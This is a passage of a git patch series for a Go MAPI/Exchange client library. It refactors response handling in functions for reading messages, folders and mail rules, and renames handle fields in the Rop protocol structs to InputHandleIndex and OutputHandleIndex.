} return &props, nil + } + props := RopGetPropertiesAllResponse{} + if _, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:], columns); e != nil { + return nil, e } + return &props, nil - return nil, ErrUnknown } //GetMessageFast returns the specific fields from a message using the fast transfer buffers. This works better for large messages @@ -2357,48 +2268,45 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { + bufPtr := 10 + var p int + var e error - bufPtr := 10 - var p int - var e error - - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } + if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + bufPtr += 4 + } - openMessage := RopOpenMessageResponse{} - if p, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + openMessage := RopOpenMessageResponse{} + if p, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - props := RopFastTransferSourceCopyPropertiesResponse{} - if p, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + props := RopFastTransferSourceCopyPropertiesResponse{} + if p, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - bufPtr += p + bufPtr += p - pprops := RopFastTransferSourceGetBufferResponse{} - if p, e = pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + pprops := RopFastTransferSourceGetBufferResponse{} + if p, e = pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - //Rop release if we are done.. otherwise get rest of stream - if pprops.TransferStatus == 0x0001 { - buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) + //Rop release if we are done.. otherwise get rest of stream + if pprops.TransferStatus == 0x0001 { + buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) - if buff != nil { - pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) - } + if buff != nil { + pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) } + } - ReleaseObject(0x01) + ReleaseObject(0x01) + + return &pprops, nil - return &pprops, nil - } - return nil, ErrUnknown } //FastTransferFetchStep fetches the next part of a fast TransferBuffer @@ -2422,37 +2330,31 @@ func FastTransferFetchStep(handles []byte) ([]byte, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - if execResponse.RopBuffer[2] == 0x05 { //compression - //decompress - } - bufPtr := 10 + bufPtr := 10 - //fmt.Printf("%x\n", execResponse.RopBuffer[:]) - pprops := RopFastTransferSourceGetBufferResponse{} - p, err := pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err - } + //fmt.Printf("%x\n", execResponse.RopBuffer[:]) + pprops := RopFastTransferSourceGetBufferResponse{} + p, err := pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]) + if err != nil { + return nil, err + } - utils.Trace.Printf("Large transfer in progress. Status: %d ", pprops.TransferStatus) + utils.Trace.Printf("Large transfer in progress. Status: %d ", pprops.TransferStatus) - //Rop release if we are done.. otherwise get rest of stream - //fmt.Printf("%x\n", pprops.TransferBuffer) + //Rop release if we are done.. otherwise get rest of stream + //fmt.Printf("%x\n", pprops.TransferBuffer) - if pprops.TransferStatus == 0x0001 { - buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) - //fmt.Println(string(buff), err) - if buff != nil { - pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) + if pprops.TransferStatus == 0x0001 { + buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) + //fmt.Println(string(buff), err) + if buff != nil { + pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) - } } - - return pprops.TransferBuffer, nil } - return nil, ErrUnknown + return pprops.TransferBuffer, nil + } //GetContentsTable is the standard request for getting the contents of a table. @@ -2499,29 +2401,26 @@ func GetContentsTableRequest(folderid []byte, tableFlags byte) (*RopGetContentsT return nil, nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - if bufPtr > len(execResponse.RopBuffer) { - return nil, nil, fmt.Errorf("Empty table") - } - openFolder := RopOpenFolderResponse{} - if p, e = openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, nil, e - } - bufPtr += p - - ropContents := RopGetContentsTableResponse{} - if p, e = ropContents.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, nil, e - } - bufPtr += p + bufPtr := 10 + var p int + var e error + if bufPtr > len(execResponse.RopBuffer) { + return nil, nil, fmt.Errorf("Empty table") + } + openFolder := RopOpenFolderResponse{} + if p, e = openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, nil, e + } + bufPtr += p - return &ropContents, execResponse.RopBuffer[bufPtr:], nil + ropContents := RopGetContentsTableResponse{} + if p, e = ropContents.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, nil, e } + bufPtr += p + + return &ropContents, execResponse.RopBuffer[bufPtr:], nil - return nil, nil, ErrUnknown } //GetFolderHierarchy function get's a folder from the folders id @@ -2553,28 +2452,25 @@ func GetFolderHierarchy(folderid []byte) (*RopGetHierarchyTableResponse, []byte, return nil, nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error + bufPtr := 10 + var p int + var e error - openFolder := RopOpenFolderResponse{} - if p, e = openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, nil, e - } - bufPtr += p + openFolder := RopOpenFolderResponse{} + if p, e = openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, nil, e + } + bufPtr += p - hierarchyTableResponse := RopGetHierarchyTableResponse{} - if p, e = hierarchyTableResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, nil, e - } + hierarchyTableResponse := RopGetHierarchyTableResponse{} + if p, e = hierarchyTableResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, nil, e + } - bufPtr += p + 8 //the serverhandle is the 3rd set of 4 bytes - we need this handle to access the hierarchy table + bufPtr += p + 8 //the serverhandle is the 3rd set of 4 bytes - we need this handle to access the hierarchy table - return &hierarchyTableResponse, execResponse.RopBuffer[bufPtr:], nil + return &hierarchyTableResponse, execResponse.RopBuffer[bufPtr:], nil - } - return nil, nil, ErrUnknown } //GetSubFolders returns all the subfolders available in a folder @@ -2607,25 +2503,22 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - setColumnsResp := RopSetColumnsResponse{} - if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + bufPtr := 10 + var p int + var e error + setColumnsResp := RopSetColumnsResponse{} + if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - rows := RopQueryRowsResponse{} + rows := RopQueryRowsResponse{} - if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil { - return nil, e - } - return &rows, nil + if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil { + return nil, e } + return &rows, nil - return nil, fmt.Errorf("An unexpected error occurred") } //CreateSearchFolder function to create a search folder @@ -2681,23 +2574,20 @@ func CreateFolderRequest(folderName string, hidden bool, ftype uint8) (*RopCreat return nil, ErrTransport //&TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - createFolder := RopCreateFolderResponse{} - if _, e := createFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + bufPtr := 10 + createFolderResponse := RopCreateFolderResponse{} + if _, e := createFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + if hidden == true { + propResp := RopSetPropertiesResponse{} + if _, e := propResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { return nil, e } - if hidden == true { - propResp := RopSetPropertiesResponse{} - if _, e := propResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - } - - return &createFolder, nil } - return nil, ErrUnknown + return &createFolderResponse, nil + } //GetContents returns the rows of a folder's content table. @@ -2764,27 +2654,24 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - - setColumnsResp := RopSetColumnsResponse{} - if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + bufPtr := 10 + var p int + var e error - rows := RopQueryRowsResponse{} + setColumnsResp := RopSetColumnsResponse{} + if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil { - return nil, e - } + rows := RopQueryRowsResponse{} - return &rows, nil + if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil { + return nil, e } - return nil, ErrUnknown + return &rows, nil + } //DisplayRules function get's a folder from the folders id @@ -2838,34 +2725,31 @@ func FetchRules(columns []PropertyTag) (*RopQueryRowsResponse, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - rulesTableResponse := RopGetRulesTableResponse{} - p, err := rulesTableResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - bufPtr += p - - if err != nil { - return nil, err - } - cols := RopSetColumnsResponse{} - p, err = cols.Unmarshal(execResponse.RopBuffer[bufPtr:]) - bufPtr += p + bufPtr := 10 + rulesTableResponse := RopGetRulesTableResponse{} + p, err := rulesTableResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + bufPtr += p - if err != nil { - return nil, err - } + if err != nil { + return nil, err + } + cols := RopSetColumnsResponse{} + p, err = cols.Unmarshal(execResponse.RopBuffer[bufPtr:]) + bufPtr += p - rows := RopQueryRowsResponse{} + if err != nil { + return nil, err + } - _, err = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], columns) - if err != nil { - return nil, err - } + rows := RopQueryRowsResponse{} - return &rows, nil + _, err = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], columns) + if err != nil { + return nil, err } - return nil, ErrUnknown + return &rows, nil + } //ExecuteDeleteRuleAdd adds a new mailrule for deleting a message @@ -2919,10 +2803,8 @@ func ExecuteDeleteRuleAdd(rulename, triggerword string) (*ExecuteResponse, error if err != nil { return nil, &TransportError{err} } - //utils.Trace.Println(execResponse) - return nil, err - //return nil, ErrUnknown + return nil, err } //ExecuteMailRuleAdd adds a new mailrules @@ -2981,15 +2863,12 @@ func ExecuteMailRuleAdd(rulename, triggerword, triggerlocation string, delete bo } return execResponse, nil - - //return nil, ErrUnknown } //ExecuteMailRuleDelete function to delete mailrules func ExecuteMailRuleDelete(ruleid []byte) error { execRequest := ExecuteRequest{} execRequest.Init() - execRequest.MaxRopOut = 262144 delRule := RopModifyRulesRequest{RopID: 0x41, LoginID: AuthSession.LogonID, InputHandleIndex: 0x00, ModifyRulesFlag: 0x00, RulesCount: 0x01, RuleData: RuleData{}} delRule.RuleData.RuleDataFlags = 0x04 @@ -3007,11 +2886,11 @@ func ExecuteMailRuleDelete(ruleid []byte) error { return &TransportError{err} } - if execResponse.StatusCode != 255 { - return nil - } - return ErrUnknown - + //process the exec response + bufPtr := 10 + delRuleResponse := RopModifyRulesResponse{} + _, err = delRuleResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + return err } //Ping send a PING message to the server diff --git a/utils/logging.go b/utils/logging.go index c73ab30..513b347 100644 --- a/utils/logging.go +++ b/utils/logging.go @@ -27,7 +27,7 @@ func Init( Trace = log.New(traceHandle, "[*] ", 0) Info = log.New(infoHandle, "[+] ", 0) Clear = log.New(infoHandle, " ", 0) - Debug = log.New(warningHandle, " ", 0) + Debug = log.New(warningHandle, "", 0) Fail = log.New(infoHandle, "[x] ", 0) Question = log.New(infoHandle, "[?] ", 0) Warning = log.New(infoHandle, @@ -39,7 +39,7 @@ func Init( Trace = log.New(traceHandle, "\033[33m[*] \033[0m", 0) Info = log.New(infoHandle, "\033[32m[+] \033[0m", 0) Clear = log.New(infoHandle, " ", 0) - Debug = log.New(warningHandle, " ", 0) + Debug = log.New(warningHandle, "", 0) Fail = log.New(infoHandle, "\033[91m[x] \033[0m", 0) Question = log.New(infoHandle, "\033[91m[?] \033[0m", 0) Warning = log.New(infoHandle, From 3e411f32a1488725a281c174355eec0cb350adaf Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 8 Sep 2017 09:28:14 +0200 Subject: [PATCH 20/35] A code clean up. This does a cosmetic fix to make the code a little more consistent * Replace all InputHandle with InputHandleIndex * Replace all OutputHandle with OutputHandleIndex TODO: Fix all Rop structures to have RopActionNameRequest and RopActionNameResponse values, rather than the current mismatch of RopActionName with RopActionNameResponse. Newer Rop structs are correct but some of the very first code I wrote isn't well formed. --- mapi/datastructs.go | 374 ++++++++++++++++++++++---------------------- mapi/mapi.go | 230 +++++++++++++-------------- 2 files changed, 302 insertions(+), 302 deletions(-) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index 8f81daf..b15a02b 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -214,10 +214,10 @@ type RopGetContentsTableRequest struct { //RopGetContentsTableResponse struct type RopGetContentsTableResponse struct { - RopID uint8 //0x05 - OutputHandle uint8 - ReturnValue uint32 - RowCount uint32 + RopID uint8 //0x05 + OutputHandleIndex uint8 + ReturnValue uint32 + RowCount uint32 } //RopSetSearchCriteriaRequest is used to set the search criteria on a folder @@ -266,7 +266,7 @@ type RopGetSearchCriteriaResponse struct { type RopGetPropertyIdsFromNamesRequest struct { RopID uint8 //0x56 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 Flags uint8 PropertyNameCount uint16 PropertyNames []PropertyName @@ -280,11 +280,11 @@ type GetProperties interface { //RopGetPropertyIdsFromNamesResponse struct to get property ids for LIDs type RopGetPropertyIdsFromNamesResponse struct { - RopID uint8 //0x56 - InputHandle uint8 - ReturnValue uint32 - PropertyIdCount uint16 - PropertyIds []byte //16 byte guids + RopID uint8 //0x56 + InputHandleIndex uint8 + ReturnValue uint32 + PropertyIdCount uint16 + PropertyIds []byte //16 byte guids } //RopGetNamesFromPropertyIdsRequest request to get the named property values from a list of property ids @@ -325,7 +325,7 @@ type RopGetPropertiesListResponse struct { type RopGetPropertiesSpecific struct { RopID uint8 //0x07 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 PropertySizeLimit uint16 WantUnicode uint16 //apparently bool PropertyTagCount uint16 @@ -336,7 +336,7 @@ type RopGetPropertiesSpecific struct { type RopSetPropertiesRequest struct { RopID uint8 //0x0A LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 PropertValueSize uint16 PropertValueCount uint16 PropertyValues []TaggedPropertyValue @@ -345,7 +345,7 @@ type RopSetPropertiesRequest struct { //RopSetPropertiesResponse struct to set properties on an object type RopSetPropertiesResponse struct { RopID uint8 //0x0A - InputHandle uint8 + InputHandleIndex uint8 ReturnValue uint32 PropertyProblemCount uint16 PropertyProblems []byte @@ -364,7 +364,7 @@ type RopGetPropertiesSpecificResponse struct { type RopGetPropertiesAllRequest struct { RopID uint8 //0x08 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 PropertySizeLimit uint16 WantUnicode uint16 } @@ -380,75 +380,75 @@ type RopGetPropertiesAllResponse struct { //RopFastTransferDestinationConfigureRequest used to configure a destination buffer for fast TransferBuffer type RopFastTransferDestinationConfigureRequest struct { - RopID uint8 //0x53 - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - SourceOperation uint8 - CopyFlags uint8 + RopID uint8 //0x53 + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + SourceOperation uint8 + CopyFlags uint8 } //RopFastTransferDestinationConfigureResponse used to configure a destination buffer for fast TransferBuffer type RopFastTransferDestinationConfigureResponse struct { - RopID uint8 //0x53 - OutputHandle uint8 - ReturnValue uint32 + RopID uint8 //0x53 + OutputHandleIndex uint8 + ReturnValue uint32 } //RopFastTransferDestinationPutBufferRequest to actually upload the data type RopFastTransferDestinationPutBufferRequest struct { RopID uint8 //0x53 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 TransferDataSize uint16 TransferData []byte } //RopOpenFolderRequest struct used to open a folder type RopOpenFolderRequest struct { - RopID uint8 //0x02 - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - FolderID []byte - OpenModeFlags uint8 + RopID uint8 //0x02 + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + FolderID []byte + OpenModeFlags uint8 } //RopOpenFolderResponse struct used to open a folder type RopOpenFolderResponse struct { - RopID uint8 - OutputHandle uint8 - ReturnValue uint32 - HasRules byte //bool - IsGhosted byte //bool - ServerCount uint16 //only if IsGhosted == true - CheapServerCount uint16 //only if IsGhosted == true - Servers []byte //only if IsGhosted == true + RopID uint8 + OutputHandleIndex uint8 + ReturnValue uint32 + HasRules byte //bool + IsGhosted byte //bool + ServerCount uint16 //only if IsGhosted == true + CheapServerCount uint16 //only if IsGhosted == true + Servers []byte //only if IsGhosted == true } //RopGetHierarchyTableRequest struct used to get folder hierarchy type RopGetHierarchyTableRequest struct { - RopID uint8 //0x04 - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - TableFlags uint8 + RopID uint8 //0x04 + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + TableFlags uint8 } //RopGetHierarchyTableResponse struct used to get folder hierarchy type RopGetHierarchyTableResponse struct { - RopID uint8 //0x04 - OutputHandle uint8 - ReturnValue uint32 - RowCount uint32 + RopID uint8 //0x04 + OutputHandleIndex uint8 + ReturnValue uint32 + RowCount uint32 } //RopCreateFolderRequest struct used to create a folder type RopCreateFolderRequest struct { RopID uint8 //0x1C LogonID uint8 - InputHandle uint8 - OutputHandle uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 FolderType uint8 UseUnicodeStrings uint8 OpenExisting uint8 @@ -459,93 +459,93 @@ type RopCreateFolderRequest struct { //RopCreateFolderResponse struct used to create a folder type RopCreateFolderResponse struct { - RopID uint8 //0x1C - OutputHandle uint8 - ReturnValue uint32 - FolderID []byte - IsExisting uint8 - HasRules byte //bool - IsGhosted byte //bool - ServerCount uint16 //only if IsGhosted == true - CheapServerCount uint16 //only if IsGhosted == true - Servers []byte //only if IsGhosted == true + RopID uint8 //0x1C + OutputHandleIndex uint8 + ReturnValue uint32 + FolderID []byte + IsExisting uint8 + HasRules byte //bool + IsGhosted byte //bool + ServerCount uint16 //only if IsGhosted == true + CheapServerCount uint16 //only if IsGhosted == true + Servers []byte //only if IsGhosted == true } //RopEmptyFolderRequest used to delete all messages and subfolders from a folder type RopEmptyFolderRequest struct { RopID uint8 //0x58 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 WantAsynchronous uint8 WantDeleteAssociated uint8 } //RopEmptyFolderResponse to emptying a folder type RopEmptyFolderResponse struct { - RopID uint8 //0x58 - InputHandle uint8 - ReturnValue uint32 - PartialComplete uint8 + RopID uint8 //0x58 + InputHandleIndex uint8 + ReturnValue uint32 + PartialComplete uint8 } //RopDeleteFolderRequest used to delete a folder type RopDeleteFolderRequest struct { RopID uint8 //0x1D LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 DeleteFolderFlags uint8 FolderID []byte } //RopDeleteFolderResponse to delete a folder type RopDeleteFolderResponse struct { - RopID uint8 //0x1D - InputHandle uint8 - ReturnValue uint32 - PartialComplete uint8 + RopID uint8 //0x1D + InputHandleIndex uint8 + ReturnValue uint32 + PartialComplete uint8 } //RopCreateMessageRequest struct used to open handle to new email message type RopCreateMessageRequest struct { - RopID uint8 //0x32 - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - CodePageID uint16 - FolderID []byte - AssociatedFlag byte //bool + RopID uint8 //0x32 + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + CodePageID uint16 + FolderID []byte + AssociatedFlag byte //bool } //RopSubmitMessageRequest struct used to open handle to new email message type RopSubmitMessageRequest struct { - RopID uint8 - LogonID uint8 - InputHandle uint8 - SubmitFlags uint8 + RopID uint8 + LogonID uint8 + InputHandleIndex uint8 + SubmitFlags uint8 } //RopSubmitMessageResponse struct used to open handle to new email message type RopSubmitMessageResponse struct { - RopID uint8 - InputHandle uint8 - ReturnValue uint32 + RopID uint8 + InputHandleIndex uint8 + ReturnValue uint32 } //RopDeleteMessagesRequest struct used to delete one or more messages type RopDeleteMessagesRequest struct { - RopID uint8 //0x1E - LogonID uint8 - InputHandle uint8 - WantSynchronous uint8 - NotifyNonRead uint8 - MessageIDCount uint16 - MessageIDs []byte //messageIdCount * 64 bit identifiers + RopID uint8 //0x1E + LogonID uint8 + InputHandleIndex uint8 + WantSynchronous uint8 + NotifyNonRead uint8 + MessageIDCount uint16 + MessageIDs []byte //messageIdCount * 64 bit identifiers } //RopDeleteMessagesResponse struct holds response for deleting messages type RopDeleteMessagesResponse struct { RopID uint8 - InputHandle uint8 + InputHandleIndex uint8 ReturnValue uint32 PartialCompletion uint8 } @@ -555,7 +555,7 @@ type RopSaveChangesMessageRequest struct { RopID uint8 LogonID uint8 ResponseHandleIndex uint8 - InputHandle uint8 + InputHandleIndex uint8 SaveFlags byte } @@ -564,7 +564,7 @@ type RopSaveChangesMessageResponse struct { RopID uint8 ResponseHandleIndex uint8 ReturnValue uint32 - InputHandle uint8 + InputHandleIndex uint8 MessageID []byte } @@ -621,34 +621,34 @@ type RopOpenAttachmentResponse struct { type RopSynchronizationOpenCollectorRequest struct { RopID uint8 LogonID uint8 - InputHandle uint8 - OutputHandle uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 IsContentsCollector byte } //RopSynchronizationOpenCollectorResponse struct used to open handle to new email message type RopSynchronizationOpenCollectorResponse struct { - RopID uint8 - OutputHandle uint8 - ReturnValue uint32 + RopID uint8 + OutputHandleIndex uint8 + ReturnValue uint32 } //RopOpenMessageRequest struct used to open handle to message type RopOpenMessageRequest struct { - RopID uint8 //0x03 - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - CodePageID uint16 - FolderID []byte - OpenModeFlags byte - MessageID []byte + RopID uint8 //0x03 + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + CodePageID uint16 + FolderID []byte + OpenModeFlags byte + MessageID []byte } //RopOpenMessageResponse struct used to open handle to message type RopOpenMessageResponse struct { RopID uint8 //0x03 - OutputHandle uint8 + OutputHandleIndex uint8 ReturnValue uint32 HasNamedProperties byte SubjectPrefix []byte @@ -694,50 +694,50 @@ type RopSaveChangesAttachmentResponse struct { //RopFastTransferSourceCopyToRequest struct used to open handle to message type RopFastTransferSourceCopyToRequest struct { - RopID uint8 //0x4D - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - Level uint8 - CopyFlags uint32 - SendOptions uint8 - PropertyTagCount uint16 - PropertyTags []PropertyTag + RopID uint8 //0x4D + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + Level uint8 + CopyFlags uint32 + SendOptions uint8 + PropertyTagCount uint16 + PropertyTags []PropertyTag } //RopFastTransferSourceCopyPropertiesRequest struct used to open handle to message type RopFastTransferSourceCopyPropertiesRequest struct { - RopID uint8 //0x69 - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - Level uint8 - CopyFlags uint8 - SendOptions uint8 - PropertyTagCount uint16 - PropertyTags []PropertyTag + RopID uint8 //0x69 + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + Level uint8 + CopyFlags uint8 + SendOptions uint8 + PropertyTagCount uint16 + PropertyTags []PropertyTag } //RopFastTransferSourceGetBufferRequest struct used to open handle to message type RopFastTransferSourceGetBufferRequest struct { RopID uint8 //0x4E LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 BufferSize uint16 MaximumBufferSize uint16 //0xBABE } //RopFastTransferSourceCopyPropertiesResponse struct used to open handle to message type RopFastTransferSourceCopyPropertiesResponse struct { - RopID uint8 //0x4E - InputHandle uint8 - ReturnValue uint32 + RopID uint8 //0x4E + InputHandleIndex uint8 + ReturnValue uint32 } //RopFastTransferSourceGetBufferResponse struct used to open handle to message type RopFastTransferSourceGetBufferResponse struct { RopID uint8 //0x4E - InputHandle uint8 + InputHandleIndex uint8 ReturnValue uint32 TransferStatus uint16 InProgressCount uint16 @@ -816,7 +816,7 @@ type RopSetStreamSizeResponse struct { type RopReadStreamRequest struct { RopID uint8 //0x2C LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 ByteCount uint16 MaximumByteCount uint32 } @@ -825,7 +825,7 @@ type RopReadStreamRequest struct { type RopRestrictRequest struct { RopID uint8 //0x14 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 RestrictFlags uint8 RestrictDataSize uint16 RestrictionData []byte @@ -835,7 +835,7 @@ type RopRestrictRequest struct { type RopSetColumnsRequest struct { RopID uint8 //0x12 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 SetColumnFlags uint8 PropertyTagCount uint16 PropertyTags []PropertyTag @@ -843,37 +843,37 @@ type RopSetColumnsRequest struct { //RopSetColumnsResponse struct used to select the columns to use type RopSetColumnsResponse struct { - RopID uint8 //0x12 - InputHandle uint8 - ReturnValue uint32 - TableStatus uint8 + RopID uint8 //0x12 + InputHandleIndex uint8 + ReturnValue uint32 + TableStatus uint8 } //RopQueryRowsRequest struct used to select the columns to use type RopQueryRowsRequest struct { - RopID uint8 //0x15 - LogonID uint8 - InputHandle uint8 - QueryRowsFlags uint8 - ForwardRead byte - RowCount uint16 + RopID uint8 //0x15 + LogonID uint8 + InputHandleIndex uint8 + QueryRowsFlags uint8 + ForwardRead byte + RowCount uint16 } //RopQueryRowsResponse struct used to select the columns to use type RopQueryRowsResponse struct { - RopID uint8 //0x15 - InputHandle uint8 - ReturnValue uint32 - Origin byte - RowCount uint16 - RowData [][]PropertyRow + RopID uint8 //0x15 + InputHandleIndex uint8 + ReturnValue uint32 + Origin byte + RowCount uint16 + RowData [][]PropertyRow } //RopSetMessageStatusRequest struct used to select the columns to use type RopSetMessageStatusRequest struct { RopID uint8 //0x20 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 MessageID []byte MessageStatusFlags PropertyTag MessageStatusMask uint32 @@ -882,16 +882,16 @@ type RopSetMessageStatusRequest struct { //RopSetMessageStatusResponse struct used to select the columns to use type RopSetMessageStatusResponse struct { RopID uint8 //0x20 - InputHandle uint8 + InputHandleIndex uint8 ReturnValue uint32 MessageStatusFlags uint32 } //RopReleaseRequest struct used to release all resources associated with a server object type RopReleaseRequest struct { - RopID uint8 //0x01 - LogonID uint8 - InputHandle uint8 + RopID uint8 //0x01 + LogonID uint8 + InputHandleIndex uint8 } //RopReleaseResponse struct used to release all resources associated with a server object @@ -902,11 +902,11 @@ type RopReleaseResponse struct { //RopCreateMessageResponse struct used to open handle to new email message type RopCreateMessageResponse struct { - RopID uint8 - OutputHandle uint8 - ReturnValue uint32 - HasMessageID byte //bool - MessageID []byte //bool + RopID uint8 + OutputHandleIndex uint8 + ReturnValue uint32 + HasMessageID byte //bool + MessageID []byte //bool } //RopModifyRulesRequest struct @@ -928,16 +928,16 @@ type RopModifyRulesResponse struct { //RopGetRulesTableResponse strcut type RopGetRulesTableResponse struct { - RopID uint8 - OutputHandle uint8 - ReturnValue uint32 + RopID uint8 + OutputHandleIndex uint8 + ReturnValue uint32 } //RopModifyRecipientsRequest to modify who is receiving email type RopModifyRecipientsRequest struct { RopID uint8 //0x0E LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 ColumnCount uint16 RecipientColumns []PropertyTag RowCount uint16 @@ -946,9 +946,9 @@ type RopModifyRecipientsRequest struct { //RopModifyRecipientsResponse to modify who is receiving email type RopModifyRecipientsResponse struct { - RopID uint8 //0x0E - InputHandle uint8 - ReturnValue uint32 + RopID uint8 //0x0E + InputHandleIndex uint8 + ReturnValue uint32 } //ModifyRecipientRow contains information about a recipient @@ -1504,7 +1504,7 @@ func (longTermID *RopLongTermIDFromIDResponse) Unmarshal(resp []byte) (int, erro func (ropContents *RopGetContentsTableResponse) Unmarshal(resp []byte) (int, error) { pos := 0 ropContents.RopID, pos = utils.ReadByte(pos, resp) - ropContents.OutputHandle, pos = utils.ReadByte(pos, resp) + ropContents.OutputHandleIndex, pos = utils.ReadByte(pos, resp) ropContents.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropContents.ReturnValue != 0 { return pos, &ErrorCode{ropContents.ReturnValue} @@ -1517,7 +1517,7 @@ func (ropContents *RopGetContentsTableResponse) Unmarshal(resp []byte) (int, err func (setStatus *RopSetMessageStatusResponse) Unmarshal(resp []byte) (int, error) { pos := 0 setStatus.RopID, pos = utils.ReadByte(pos, resp) - setStatus.InputHandle, pos = utils.ReadByte(pos, resp) + setStatus.InputHandleIndex, pos = utils.ReadByte(pos, resp) setStatus.ReturnValue, pos = utils.ReadUint32(pos, resp) if setStatus.ReturnValue != 0 { return pos, &ErrorCode{setStatus.ReturnValue} @@ -1530,7 +1530,7 @@ func (setStatus *RopSetMessageStatusResponse) Unmarshal(resp []byte) (int, error func (createFolder *RopCreateFolderResponse) Unmarshal(resp []byte) (int, error) { pos := 0 createFolder.RopID, pos = utils.ReadByte(pos, resp) - createFolder.OutputHandle, pos = 